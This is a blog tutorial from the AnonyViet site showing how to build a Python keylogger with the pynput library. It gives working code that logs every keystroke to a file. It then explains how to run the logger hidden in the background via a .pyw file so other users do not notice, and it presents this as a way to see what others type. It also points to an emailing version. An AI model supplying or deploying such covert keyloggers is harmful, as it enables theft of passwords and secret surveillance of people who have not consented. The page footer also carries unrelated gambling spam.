• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

The simplest way to create KeyLogger in Python

AnonyViet by AnonyViet
December 10, 2025
in Tips
0

Today I will guide you to write extremely simple Keylogger Code in Python. Currently, Python applications are popular, especially the Ministry of Education has included Python in the secondary school curriculum. Therefore, it is never too early to study Python now. Python is famous because the code is quite easy and there are many libraries available. One of them is the pynput library that helps you record keyboard and mouse logs, thereby creating a simple keylogger.

Join the channel Telegram belong to AnonyViet 👉 Link 👈

The simplest way to create KeyLogger in Python

A keylogger is a type of monitoring software designed to record a user’s keystrokes. One of the oldest forms of cyber security threats, this keystroke logging feature records the information you enter any character on the keyboard, the Keylogger will record it and save it to a file that will then be sent to the Hacker. So if a Keylogger is installed on the victim’s computer, hackers can easily steal your account and password.

With just 7 python commands, you can easily create a simple Keylog for yourself.

First you need Download and install Python 3.x (currently Python 3.9). When installing, remember to select the function Add Python 3.x to Path on the first screen during installation.

Open CMD with Administrator rights and type the command:

pip install pynput

Next, open notepad, copy the keylogger code below and save it as keylog.py file

from pynput.keyboard import Listener
def evnt_key_press(key):
    f = open('key.txt','a')
    f.write(str(key).replace("'",'') + "\n" )
    f.close()
obj = Listener(on_press=evnt_key_press)
obj.start()
obj.join()

keylog code in python

That’s it, now open CMD with Administrator rights and type the command

cd C:\

python keylog.py

write keylogger in python

Now the file will appear on drive C key.txtthis file will store the characters you typed on the keyboard. Each letter is in a row, please take the time to combine the letters.

Now just activate the file keylog.pyyou will know what other people have typed on your computer, helping you control your computer more easily.

In case you do not want to display the CMD window when activating Keylog, rename the file keylog.py wall keylog.pyw

install python keylog

Now you can turn off the CMD window okay, the keylog will work in the background without ordinary people even knowing about it.

If you want to turn off Keylog, then turn it on Task Manager (Ctrl + Shift + Esc) Go up and find the named Process Python -> End task

turn off python keylog

So AnonyViet has shown you the simplest way to write a Keylogger in Python. As for advanced features such as sending to email, taking screenshots… I will talk about them in the next article.

Update September 29, 2021: You can refer to the Python Keylogger Code by email at Github AnonyViet.

Frequently asked questions

What is a keylogger and how does it work?

Keylogger is software that records a user’s keystrokes. It works by recording every character entered and storing them in a file.

What settings do I need to run this keylogger code?

You need to install Python 3.x and the pynput library. You can install pynput using command pip install pynput in command prompt.

How to stop keylogger activity?

To stop the keylogger, you need to open Task Manager (Ctrl + Shift + Esc), find and end the Python process.

Previous Post

Instructions for registering .online, .site, .store domains for free at Namecheap

Next Post

5+ Websites to create special character names for the newest gamers in 2026

AnonyViet

AnonyViet

Related Posts

Instructions for receiving ChatGPT Plus for 1 month for free in 2026
Tips

Instructions for receiving ChatGPT Plus for 1 month for free in 2026

July 28, 2026
Some reasons I don’t like Windows 11
Tips

Some reasons I don’t like Windows 11

July 27, 2026
Instructions on how to get free Facebook white ticks
Tips

Instructions on how to get free Facebook white ticks

July 27, 2026
Collection of Windows 11 wallpapers for computers and phones
Tips

Collection of Windows 11 wallpapers for computers and phones

July 26, 2026
Don’t install leaked Windows 11
Tips

Don’t install leaked Windows 11

July 25, 2026
Microsoft announced the end of support date for Windows 10
Tips

Microsoft announced the end of support date for Windows 10

July 24, 2026
Next Post
5+ Websites to create special character names for the newest gamers in 2026

5+ Websites to create special character names for the newest gamers in 2026

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted

Recent News

MSI laptops are not just for gamers: Which line is suitable for students, office workers and creative people?

MSI laptops are not just for gamers: Which line is suitable for students, office workers and creative people?

July 29, 2026
What is quantum resistant cryptography? Why must the Internet change?

What is quantum resistant cryptography? Why must the Internet change?

July 29, 2026
Instructions for receiving ChatGPT Plus for 1 month for free in 2026

Instructions for receiving ChatGPT Plus for 1 month for free in 2026

July 28, 2026
Samsung Galaxy Z Fold 8 Ultra and Z Fold 7: Is it worth upgrading?

Samsung Galaxy Z Fold 8 Ultra and Z Fold 7: Is it worth upgrading?

July 28, 2026
MSI laptops are not just for gamers: Which line is suitable for students, office workers and creative people?

MSI laptops are not just for gamers: Which line is suitable for students, office workers and creative people?

July 29, 2026
What is quantum resistant cryptography? Why must the Internet change?

What is quantum resistant cryptography? Why must the Internet change?

July 29, 2026
Instructions for receiving ChatGPT Plus for 1 month for free in 2026

Instructions for receiving ChatGPT Plus for 1 month for free in 2026

July 28, 2026
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

MSI laptops are not just for gamers: Which line is suitable for students, office workers and creative people?

MSI laptops are not just for gamers: Which line is suitable for students, office workers and creative people?

July 29, 2026
What is quantum resistant cryptography? Why must the Internet change?

What is quantum resistant cryptography? Why must the Internet change?

July 29, 2026
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

say88 tỷ lệ kèo nhà cái kèo nhà cái 5 febet

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

say88 tỷ lệ kèo nhà cái kèo nhà cái 5 febet

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply